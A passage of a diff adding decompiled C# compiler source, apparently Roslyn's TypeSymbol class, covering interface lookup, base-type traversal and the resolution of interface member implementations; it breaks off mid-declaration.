{ + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return IsManagedType(ref useSiteInfo); + } + } + + internal ManagedKind ManagedKindNoUseSiteDiagnostics + { + get + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return GetManagedKind(ref useSiteInfo); + } + } + + public abstract bool IsRefLikeType { get; } + + public abstract bool IsReadOnly { get; } + + internal ImmutableHashSet AbstractMembers + { + get + { + if (_lazyAbstractMembers == null) + { + Interlocked.CompareExchange(ref _lazyAbstractMembers, ComputeAbstractMembers(), null); + } + return _lazyAbstractMembers; + } + } + + internal NullableAnnotation DefaultNullableAnnotation => NullableAnnotationExtensions.ToPublicAnnotation(this, NullableAnnotation.Oblivious); + + TypeKind ITypeSymbolInternal.TypeKind => TypeKind; + + SpecialType ITypeSymbolInternal.SpecialType => SpecialType; + + bool ITypeSymbolInternal.IsReferenceType => IsReferenceType; + + bool ITypeSymbolInternal.IsValueType => IsValueType; + + internal abstract bool IsRecord { get; } + + internal abstract bool IsRecordStruct { get; } + + private InterfaceInfo GetInterfaceInfo() + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + InterfaceInfo lazyInterfaceInfo = _lazyInterfaceInfo; + if (lazyInterfaceInfo != null) + { + return lazyInterfaceInfo; + } + TypeSymbol typeSymbol = this; + while ((object)typeSymbol != null) + { + if (!(((int)typeSymbol.TypeKind == 11) ? ((TypeParameterSymbol)typeSymbol).EffectiveInterfacesNoUseSiteDiagnostics : typeSymbol.InterfacesNoUseSiteDiagnostics()).IsEmpty) + { + lazyInterfaceInfo = new InterfaceInfo(); + return Interlocked.CompareExchange(ref _lazyInterfaceInfo, lazyInterfaceInfo, null) ?? lazyInterfaceInfo; + } + typeSymbol = typeSymbol.BaseTypeNoUseSiteDiagnostics; + } + return _lazyInterfaceInfo = s_noInterfaces; + } + + internal NamedTypeSymbol BaseTypeWithDefinitionUseSiteDiagnostics(ref CompoundUseSiteInfo useSiteInfo) + { + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = BaseTypeNoUseSiteDiagnostics; + baseTypeNoUseSiteDiagnostics?.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + return baseTypeNoUseSiteDiagnostics; + } + + internal NamedTypeSymbol BaseTypeOriginalDefinition(ref CompoundUseSiteInfo useSiteInfo) + { + NamedTypeSymbol namedTypeSymbol = BaseTypeNoUseSiteDiagnostics; + if ((object)namedTypeSymbol != null) + { + namedTypeSymbol = namedTypeSymbol.OriginalDefinition; + namedTypeSymbol.AddUseSiteInfo(ref useSiteInfo); + } + return namedTypeSymbol; + } + + internal abstract ImmutableArray InterfacesNoUseSiteDiagnostics(ConsList basesBeingResolved = null); + + internal ImmutableArray AllInterfacesWithDefinitionUseSiteDiagnostics(ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray allInterfacesNoUseSiteDiagnostics = AllInterfacesNoUseSiteDiagnostics; + TypeSymbol typeSymbol = this; + do + { + typeSymbol = typeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + while ((object)typeSymbol != null); + ImmutableArray.Enumerator enumerator = allInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + } + return allInterfacesNoUseSiteDiagnostics; + } + + internal TypeSymbol EffectiveType(ref CompoundUseSiteInfo useSiteInfo) + { + if (!this.IsTypeParameter()) + { + return this; + } + return ((TypeParameterSymbol)this).EffectiveBaseClass(ref useSiteInfo); + } + + internal bool IsDerivedFrom(TypeSymbol type, TypeCompareKind comparison, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == type) + { + return false; + } + NamedTypeSymbol namedTypeSymbol = BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + while ((object)namedTypeSymbol != null) + { + if (type.Equals(namedTypeSymbol, comparison)) + { + return true; + } + namedTypeSymbol = namedTypeSymbol.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + return false; + } + + internal bool IsEqualToOrDerivedFrom(TypeSymbol type, TypeCompareKind comparison, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (!Equals(type, comparison)) + { + return IsDerivedFrom(type, comparison, ref useSiteInfo); + } + return true; + } + + internal virtual bool Equals(TypeSymbol t2, TypeCompareKind compareKind) + { + return (object)this == t2; + } + + public sealed override bool Equals(Symbol other, TypeCompareKind compareKind) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (!(other is TypeSymbol t)) + { + return false; + } + return Equals(t, compareKind); + } + + public override int GetHashCode() + { + return RuntimeHelpers.GetHashCode(this); + } + + protected virtual ImmutableArray GetAllInterfaces() + { + InterfaceInfo interfaceInfo = GetInterfaceInfo(); + if (interfaceInfo == s_noInterfaces) + { + return ImmutableArray.Empty; + } + if (interfaceInfo.allInterfaces.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref interfaceInfo.allInterfaces, MakeAllInterfaces()); + } + return interfaceInfo.allInterfaces; + } + + protected virtual ImmutableArray MakeAllInterfaces() + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(); + HashSet visited = new HashSet(SymbolEqualityComparer.ConsiderEverything); + TypeSymbol typeSymbol = this; + while ((object)typeSymbol != null) + { + ImmutableArray immutableArray = (((int)typeSymbol.TypeKind == 11) ? ((TypeParameterSymbol)typeSymbol).EffectiveInterfacesNoUseSiteDiagnostics : typeSymbol.InterfacesNoUseSiteDiagnostics()); + for (int num = immutableArray.Length - 1; num >= 0; num--) + { + addAllInterfaces(immutableArray[num], visited, instance); + } + typeSymbol = typeSymbol.BaseTypeNoUseSiteDiagnostics; + } + instance.ReverseContents(); + return instance.ToImmutableAndFree(); + static void addAllInterfaces(NamedTypeSymbol @interface, HashSet hashSet, ArrayBuilder result) + { + if (hashSet.Add(@interface)) + { + ImmutableArray immutableArray2 = @interface.InterfacesNoUseSiteDiagnostics(); + for (int num2 = immutableArray2.Length - 1; num2 >= 0; num2--) + { + addAllInterfaces(immutableArray2[num2], hashSet, result); + } + result.Add(@interface); + } + } + } + + internal MultiDictionary InterfacesAndTheirBaseInterfacesWithDefinitionUseSiteDiagnostics(ref CompoundUseSiteInfo useSiteInfo) + { + MultiDictionary interfacesAndTheirBaseInterfacesNoUseSiteDiagnostics = InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics; + foreach (NamedTypeSymbol key in interfacesAndTheirBaseInterfacesNoUseSiteDiagnostics.Keys) + { + key.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + } + return interfacesAndTheirBaseInterfacesNoUseSiteDiagnostics; + } + + private static MultiDictionary MakeInterfacesAndTheirBaseInterfaces(ImmutableArray declaredInterfaces) + { + MultiDictionary val = new MultiDictionary(declaredInterfaces.Length, (IEqualityComparer)SymbolEqualityComparer.CLRSignature, (IEqualityComparer)SymbolEqualityComparer.ConsiderEverything); + ImmutableArray.Enumerator enumerator = declaredInterfaces.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (val.Add(current, current)) + { + ImmutableArray.Enumerator enumerator2 = current.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamedTypeSymbol current2 = enumerator2.Current; + val.Add(current2, current2); + } + } + } + return val; + } + + public Symbol FindImplementationForInterfaceMember(Symbol interfaceMember) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + if ((object)interfaceMember == null) + { + throw new ArgumentNullException("interfaceMember"); + } + if (!interfaceMember.IsImplementableInterfaceMember()) + { + return null; + } + if (this.IsInterfaceType()) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return FindMostSpecificImplementation(interfaceMember, (NamedTypeSymbol)this, ref useSiteInfo); + } + return FindImplementationForInterfaceMemberInNonInterface(interfaceMember); + } + + internal TypeSymbol() + { + } + + protected sealed override bool IsHighestPriorityUseSiteErrorCode(int code) + { + if (code == 648 || code == 9041) + { + return true; + } + return false; + } + + internal abstract bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes); + + internal bool IsTupleTypeOfCardinality(int targetCardinality) + { + if (IsTupleType) + { + return TupleElementTypesWithAnnotations.Length == targetCardinality; + } + return false; + } + + internal bool IsManagedType(ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + return (int)GetManagedKind(ref useSiteInfo) == 3; + } + + internal abstract ManagedKind GetManagedKind(ref CompoundUseSiteInfo useSiteInfo); + + internal bool NeedsNullableAttribute() + { + return TypeWithAnnotations.NeedsNullableAttribute(default(TypeWithAnnotations), this); + } + + internal abstract void AddNullableTransforms(ArrayBuilder transforms); + + internal abstract bool ApplyNullableTransforms(byte defaultTransformFlag, ImmutableArray transforms, ref int position, out TypeSymbol result); + + internal abstract TypeSymbol SetNullabilityForReferenceTypes(Func transform); + + internal TypeSymbol SetUnknownNullabilityForReferenceTypes() + { + return SetNullabilityForReferenceTypes(s_setUnknownNullability); + } + + internal abstract TypeSymbol MergeEquivalentTypes(TypeSymbol other, VarianceKind variance); + + public string ToDisplayString(NullableFlowState topLevelNullability, SymbolDisplayFormat format = null) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Expected O, but got Unknown + return SymbolDisplay.ToDisplayString((ITypeSymbol)base.ISymbol, topLevelNullability, format); + } + + public ImmutableArray ToDisplayParts(NullableFlowState topLevelNullability, SymbolDisplayFormat format = null) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Expected O, but got Unknown + return SymbolDisplay.ToDisplayParts((ITypeSymbol)base.ISymbol, topLevelNullability, format); + } + + public string ToMinimalDisplayString(SemanticModel semanticModel, NullableFlowState topLevelNullability, int position, SymbolDisplayFormat format = null) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Expected O, but got Unknown + return SymbolDisplay.ToMinimalDisplayString((ITypeSymbol)base.ISymbol, topLevelNullability, semanticModel, position, format); + } + + public ImmutableArray ToMinimalDisplayParts(SemanticModel semanticModel, NullableFlowState topLevelNullability, int position, SymbolDisplayFormat format = null) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Expected O, but got Unknown + return SymbolDisplay.ToMinimalDisplayParts((ITypeSymbol)base.ISymbol, topLevelNullability, semanticModel, position, format); + } + + internal SymbolAndDiagnostics FindImplementationForInterfaceMemberInNonInterfaceWithDiagnostics(Symbol interfaceMember, bool ignoreImplementationInInterfacesIfResultIsNotReady = false) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + if (this.IsInterfaceType()) + { + return SymbolAndDiagnostics.Empty; + } + NamedTypeSymbol containingType = interfaceMember.ContainingType; + if ((object)containingType == null || !containingType.IsInterface) + { + return SymbolAndDiagnostics.Empty; + } + SymbolKind kind = interfaceMember.Kind; + if ((int)kind == 5 || (int)kind == 9 || (int)kind == 15) + { + InterfaceInfo interfaceInfo = GetInterfaceInfo(); + if (interfaceInfo == s_noInterfaces) + { + return SymbolAndDiagnostics.Empty; + } + ConcurrentDictionary implementationForInterfaceMemberMap = interfaceInfo.ImplementationForInterfaceMemberMap; + if (implementationForInterfaceMemberMap.TryGetValue(interfaceMember, out var value)) + { + return value; + } + value = ComputeImplementationAndDiagnosticsForInterfaceMember(interfaceMember, ignoreImplementationInInterfacesIfResultIsNotReady, out var implementationInInterfacesMightChangeResult); + if (!implementationInInterfacesMightChangeResult) + { + implementationForInterfaceMemberMap.TryAdd(interfaceMember, value); + } + return value; + } + return SymbolAndDiagnostics.Empty; + } + + internal Symbol FindImplementationForInterfaceMemberInNonInterface(Symbol interfaceMember, bool ignoreImplementationInInterfacesIfResultIsNotReady = false) + { + return FindImplementationForInterfaceMemberInNonInterfaceWithDiagnostics(interfaceMember, ignoreImplementationInInterfacesIfResultIsNotReady).Symbol; + } + + private SymbolAndDiagnostics ComputeImplementationAndDiagnosticsForInterfaceMember(Symbol interfaceMember, bool ignoreImplementationInInterfaces, out bool implementationInInterfacesMightChangeResult) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, DeclaringCompilation != null); + return new SymbolAndDiagnostics(ComputeImplementationForInterfaceMember(interfaceMember, this, instance, ignoreImplementationInInterfaces, out implementationInInterfacesMightChangeResult), ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree()); + } + + private static Symbol ComputeImplementationForInterfaceMember(Symbol interfaceMember, TypeSymbol implementingType, BindingDiagnosticBag diagnostics, bool ignoreImplementationInInterfaces, out bool implementationInInterfacesMightChangeResult) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_020a: Unknown result type (might be due to invalid IL or missing references) + //IL_023f: Unknown result type (might be due to invalid IL or missing references) + //IL_0246: Invalid comparison between Unknown and I4 + //IL_0265: Unknown result type (might be due to invalid IL or missing references) + //IL_0256: Unknown result type (might be due to invalid IL or missing references) + //IL_026a: Unknown result type (might be due to invalid IL or missing references) + //IL_035d: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = interfaceMember.ContainingType; + bool flag = false; + bool flag2 = false; + Symbol implicitImpl = null; + Symbol symbol = null; + bool flag3 = (int)interfaceMember.DeclaredAccessibility == 6 && !interfaceMember.IsEventOrPropertyWithImplementableNonPublicAccessor(); + TypeSymbol typeSymbol = null; + bool flag4 = false; + CSharpCompilation declaringCompilation = implementingType.DeclaringCompilation; + CompoundUseSiteInfo useSiteInfo = ((declaringCompilation != null) ? new CompoundUseSiteInfo((BindingDiagnosticBag)(object)diagnostics, declaringCompilation.Assembly) : CompoundUseSiteInfo.DiscardedDependencies); + TypeSymbol typeSymbol2 = implementingType; + while ((object)typeSymbol2 != null) + { + ValueSet explicitImplementationForInterfaceMember = typeSymbol2.GetExplicitImplementationForInterfaceMember(interfaceMember); + if (explicitImplementationForInterfaceMember.Count == 1) + { + implementationInInterfacesMightChangeResult = false; + return explicitImplementationForInterfaceMember.Single(); + } + if (explicitImplementationForInterfaceMember.Count > 1) + { + if ((object)typeSymbol2 == implementingType || flag4) + { + diagnostics.Add(ErrorCode.ERR_DuplicateExplicitImpl, implementingType.GetFirstLocation(), interfaceMember); + } + implementationInInterfacesMightChangeResult = false; + return null; + } + bool flag5 = (object)typeSymbol2 != implementingType || !typeSymbol2.IsDefinition; + if (flag5 && interfaceMember is MethodSymbol interfaceMethod && typeSymbol2.InterfacesAndTheirBaseInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).ContainsKey(containingType)) + { + MethodSymbol bodyOfSynthesizedInterfaceMethodImpl = typeSymbol2.GetBodyOfSynthesizedInterfaceMethodImpl(interfaceMethod); + if ((object)bodyOfSynthesizedInterfaceMethodImpl != null) + { + implementationInInterfacesMightChangeResult = false; + return bodyOfSynthesizedInterfaceMethodImpl; + } + } + if (IsExplicitlyImplementedViaAccessors(flag5, interfaceMember, typeSymbol2, ref useSiteInfo, out var implementingMember)) + { + implementationInInterfacesMightChangeResult = false; + return implementingMember; + } + if ((!flag || (!flag3 && (object)typeSymbol == null)) && typeSymbol2.InterfacesAndTheirBaseInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).ContainsKey(containingType)) + { + if (!flag) + { + flag2 = !(typeSymbol2.OriginalDefinition.ContainingModule is PEModuleSymbol); + flag = true; + } + if ((object)typeSymbol2 == implementingType) + { + flag4 = true; + } + else if (!flag3 && (object)typeSymbol == null) + { + typeSymbol = typeSymbol2; + } + } + if (flag && (!interfaceMember.IsStatic || flag2)) + { + FindPotentialImplicitImplementationMemberDeclaredInType(interfaceMember, flag2, typeSymbol2, out var implicitImpl2, out var closeMismatch); + if ((object)implicitImpl2 != null) + { + implicitImpl = implicitImpl2; + break; + } + if ((object)symbol == null) + { + symbol = closeMismatch; + } + } + typeSymbol2 = typeSymbol2.BaseTypeWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + } + bool flag6 = true; + if (interfaceMember.IsAccessor()) + { + Symbol symbol2 = implicitImpl; + CheckForImplementationOfCorrespondingPropertyOrEvent((MethodSymbol)interfaceMember, implementingType, flag2, ref implicitImpl); + if ((object)symbol2 != null && (object)implicitImpl == null) + { + flag6 = false; + } + } + Symbol symbol3 = null; + if ((object)implicitImpl == null && flag && flag6) + { + if (ignoreImplementationInInterfaces) + { + implementationInInterfacesMightChangeResult = true; + } + else + { + symbol3 = FindMostSpecificImplementationInInterfaces(interfaceMember, implementingType, ref useSiteInfo, diagnostics); + implementationInInterfacesMightChangeResult = false; + } + } + else + { + implementationInInterfacesMightChangeResult = false; + } + ((BindingDiagnosticBag)(object)diagnostics).Add((useSiteInfo.Diagnostics == null || !flag4) ? Location.None : GetInterfaceLocation(interfaceMember, implementingType), useSiteInfo); + if ((object)symbol3 != null) + { + if (flag4) + { + ReportDefaultInterfaceImplementationMatchDiagnostics(interfaceMember, implementingType, symbol3, diagnostics); + } + return symbol3; + } + if (flag4) + { + if ((object)implicitImpl != null) + { + bool flag7 = false; + if (!flag3 && (int)interfaceMember.Kind == 9 && (object)typeSymbol == null) + { + CompoundUseSiteInfo useSiteInfo2 = ((declaringCompilation != null) ? new CompoundUseSiteInfo((BindingDiagnosticBag)(object)diagnostics, declaringCompilation.Assembly) : CompoundUseSiteInfo.DiscardedDependencies); + if (implementingType is NamedTypeSymbol within && !AccessCheck.IsSymbolAccessible(interfaceMember, within, ref useSiteInfo2)) + { + diagnostics.Add(ErrorCode.ERR_ImplicitImplementationOfInaccessibleInterfaceMember, GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, implicitImpl), implementingType, interfaceMember, implicitImpl); + flag7 = true; + } + else if (!interfaceMember.IsStatic) + { + LanguageVersion languageVersion = MessageID.IDS_FeatureImplicitImplementationOfNonPublicMembers.RequiredVersion(); + LanguageVersion? languageVersion2 = implementingType.DeclaringCompilation?.LanguageVersion; + if (languageVersion > languageVersion2) + { + diagnostics.Add(ErrorCode.ERR_ImplicitImplementationOfNonPublicInterfaceMember, GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, implicitImpl), implementingType, interfaceMember, implicitImpl, languageVersion2.GetValueOrDefault().ToDisplayString(), new CSharpRequiredLanguageVersion(languageVersion)); + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add((useSiteInfo2.Diagnostics == null) ? Location.None : GetImplicitImplementationDiagnosticLocation(interfaceMember, implementingType, implicitImpl), useSiteInfo2); + } + if (!flag7) + { + ReportImplicitImplementationMatchDiagnostics(interfaceMember, implementingType, implicitImpl, diagnostics); + } + } + else if ((object)symbol != null) + { + ReportImplicitImplementationMismatchDiagnostics(interfaceMember, implementingType, symbol, diagnostics); + } + } + return implicitImpl; + } + + private static Symbol FindMostSpecificImplementationInInterfaces(Symbol interfaceMember, TypeSymbol implementingType, ref CompoundUseSiteInfo useSiteInfo, BindingDiagnosticBag diagnostics) + { + var (interfaceAccessor, interfaceAccessor2) = GetImplementableAccessors(interfaceMember); + if (stopLookup(interfaceAccessor, implementingType) || stopLookup(interfaceAccessor2, implementingType)) + { + return null; + } + Symbol conflictingImplementation; + Symbol conflictingImplementation2; + Symbol result = FindMostSpecificImplementationInBases(interfaceMember, implementingType, ref useSiteInfo, out conflictingImplementation, out conflictingImplementation2); + if ((object)conflictingImplementation != null) + { + diagnostics.Add(ErrorCode.ERR_MostSpecificImplementationIsNotFound, GetInterfaceLocation(interfaceMember, implementingType), interfaceMember, conflictingImplementation, conflictingImplementation2); + } + return result; + static bool stopLookup(MethodSymbol methodSymbol, TypeSymbol typeSymbol) + { + if ((object)methodSymbol == null) + { + return false; + } + SymbolAndDiagnostics symbolAndDiagnostics = typeSymbol.FindImplementationForInterfaceMemberInNonInterfaceWithDiagnostics(methodSymbol); + if ((object)symbolAndDiagnostics.Symbol != null) + { + return !symbolAndDiagnostics.Symbol.ContainingType.IsInterface; + } + return !symbolAndDiagnostics.Diagnostics.Diagnostics.Any((Diagnostic d) => d.Code == 8705); + } + } + + private static Symbol FindMostSpecificImplementation(Symbol interfaceMember, NamedTypeSymbol implementingInterface, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + ValueSet val = FindImplementationInInterface(interfaceMember, implementingInterface); + switch (val.Count) + { + case 0: + { + var (methodSymbol, methodSymbol2) = GetImplementableAccessors(interfaceMember); + if (((object)methodSymbol != null && FindImplementationInInterface(methodSymbol, implementingInterface).Count != 0) || ((object)methodSymbol2 != null && FindImplementationInInterface(methodSymbol2, implementingInterface).Count != 0)) + { + return null; + } + Symbol conflictingImplementation; + Symbol conflictingImplementation2; + return FindMostSpecificImplementationInBases(interfaceMember, implementingInterface, ref useSiteInfo, out conflictingImplementation, out conflictingImplementation2); + } + case 1: + { + Symbol symbol = val.Single(); + if (symbol.IsAbstract) + { + return null; + } + return symbol; + } + default: + return null; + } + } + + private static Symbol FindMostSpecificImplementationInBases(Symbol interfaceMember, TypeSymbol implementingType, ref CompoundUseSiteInfo useSiteInfo, out Symbol conflictingImplementation1, out Symbol conflictingImplementation2) + { + ImmutableArray allInterfaces = implementingType.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo); + if (allInterfaces.IsEmpty) + { + conflictingImplementation1 = null; + conflictingImplementation2 = null; + return null; + } + var (methodSymbol, methodSymbol2) = GetImplementableAccessors(interfaceMember); + if ((object)methodSymbol == null && (object)methodSymbol2 == null) + { + return findMostSpecificImplementationInBases(interfaceMember, allInterfaces, ref useSiteInfo, out conflictingImplementation1, out conflictingImplementation2); + } + Symbol conflictingImplementation3; + Symbol conflictingImplementation4; + Symbol symbol = findMostSpecificImplementationInBases(methodSymbol ?? methodSymbol2, allInterfaces, ref useSiteInfo, out conflictingImplementation3, out conflictingImplementation4); + if ((object)symbol == null && (object)conflictingImplementation3 == null) + { + conflictingImplementation1 = null; + conflictingImplementation2 = null; + return null; + } + if ((object)methodSymbol == null || (object)methodSymbol2 == null) + { + if ((object)symbol != null) + { + conflictingImplementation1 = null; + conflictingImplementation2 = null; + return findImplementationInInterface(interfaceMember, symbol); + } + conflictingImplementation1 = findImplementationInInterface(interfaceMember, conflictingImplementation3); + conflictingImplementation2 = findImplementationInInterface(interfaceMember, conflictingImplementation4); + if ((object)conflictingImplementation1 == null != ((object)conflictingImplementation2 == null)) + { + conflictingImplementation1 = null; + conflictingImplementation2 = null; + } + return null; + } + Symbol conflictingImplementation5; + Symbol conflictingImplementation6; + Symbol symbol2 = findMostSpecificImplementationInBases(methodSymbol2, allInterfaces, ref useSiteInfo, out conflictingImplementation5, out conflictingImplementation6); + if (((object)symbol2 == null && (object)conflictingImplementation5 == null) || (object)symbol == null != ((object)symbol2 == null)) + { + conflictingImplementation1 = null; + conflictingImplementation2 = null; + return null; + } + if ((object)symbol != null) + { + conflictingImplementation1 = null; + conflictingImplementation2 = null; + return findImplementationInInterface(interfaceMember, symbol, symbol2); + } + conflictingImplementation1 = findImplementationInInterface(interfaceMember, conflictingImplementation3, conflictingImplementation5); + conflictingImplementation2 = findImplementationInInterface(interfaceMember, conflictingImplementation4, conflictingImplementation6); + if ((object)conflictingImplementation1 == null != ((object)conflictingImplementation2 == null)) + { + conflictingImplementation1 = null; + conflictingImplementation2 = null; + } + return null; + static Symbol findImplementationInInterface(Symbol interfaceMember2, Symbol inplementingAccessor1, Symbol implementingAccessor2 = null) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = inplementingAccessor1.ContainingType; + if ((object)implementingAccessor2 != null && !containingType.Equals(implementingAccessor2.ContainingType, (TypeCompareKind)0)) + { + return null; + } + ValueSet val = FindImplementationInInterface(interfaceMember2, containingType); + if (val.Count == 1) + { + return val.Single(); + } + return null; + } + static Symbol findMostSpecificImplementationInBases(Symbol interfaceMember2, ImmutableArray immutableArray, ref CompoundUseSiteInfo useSiteInfo2, out Symbol reference, out Symbol reference2) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0188: Unknown result type (might be due to invalid IL or missing references) + //IL_018d: Unknown result type (might be due to invalid IL or missing references) + //IL_01c2: Unknown result type (might be due to invalid IL or missing references) + //IL_01db: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_014a: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_0139: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder<(ValueSet, MultiDictionary)> instance = ArrayBuilder<(ValueSet, MultiDictionary)>.GetInstance(); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (current.IsInterface) + { + ValueSet item = FindImplementationInInterface(interfaceMember2, current); + if (item.Count != 0) + { + for (int i = 0; i < instance.Count; i++) + { + (ValueSet, MultiDictionary) tuple2 = instance[i]; + ValueSet item2 = tuple2.Item1; + MultiDictionary val = tuple2.Item2; + NamedTypeSymbol containingType = ((IEnumerable)(object)item2).First().ContainingType; + if (containingType.Equals(current, (TypeCompareKind)62)) + { + instance[i] = (item, val); + item = default(ValueSet); + break; + } + if (val == null) + { + val = containingType.InterfacesAndTheirBaseInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo2); + instance[i] = (item2, val); + } + if (val.ContainsKey(current)) + { + item = default(ValueSet); + break; + } + } + if (item.Count != 0) + { + if (instance.Count != 0) + { + MultiDictionary val2 = current.InterfacesAndTheirBaseInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo2); + for (int num = instance.Count - 1; num >= 0; num--) + { + if (val2.ContainsKey(((IEnumerable)(object)instance[num].Item1).First().ContainingType)) + { + instance.RemoveAt(num); + } + } + instance.Add((item, val2)); + } + else + { + instance.Add((item, (MultiDictionary)null)); + } + } + } + } + } + Symbol symbol3; + switch (instance.Count) + { + case 0: + symbol3 = null; + reference = null; + reference2 = null; + break; + case 1: + { + ValueSet item3 = instance[0].Item1; + if (item3.Count == 1) + { + symbol3 = item3.Single(); + if (symbol3.IsAbstract) + { + symbol3 = null; + } + } + else + { + symbol3 = null; + } + reference = null; + reference2 = null; + break; + } + default: + symbol3 = null; + reference = ((IEnumerable)(object)instance[0].Item1).First(); + reference2 = ((IEnumerable)(object)instance[1].Item1).First(); + break; + } + instance.Free(); + return symbol3; + } + } + + internal static ValueSet FindImplementationInInterface(Symbol interfaceMember, NamedTypeSymbol interfaceType) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = interfaceMember.ContainingType; + if (containingType.Equals(interfaceType, (TypeCompareKind)62)) + { + if (!interfaceMember.IsAbstract) + { + if (!containingType.Equals(interfaceType, (TypeCompareKind)0)) + { + interfaceMember = interfaceMember.OriginalDefinition.SymbolAsMember(interfaceType); + } + return new ValueSet((object)interfaceMember, (IEqualityComparer)null); + } + return default(ValueSet); + } + return interfaceType.GetExplicitImplementationForInterfaceMember(interfaceMember); + } + + private static (MethodSymbol 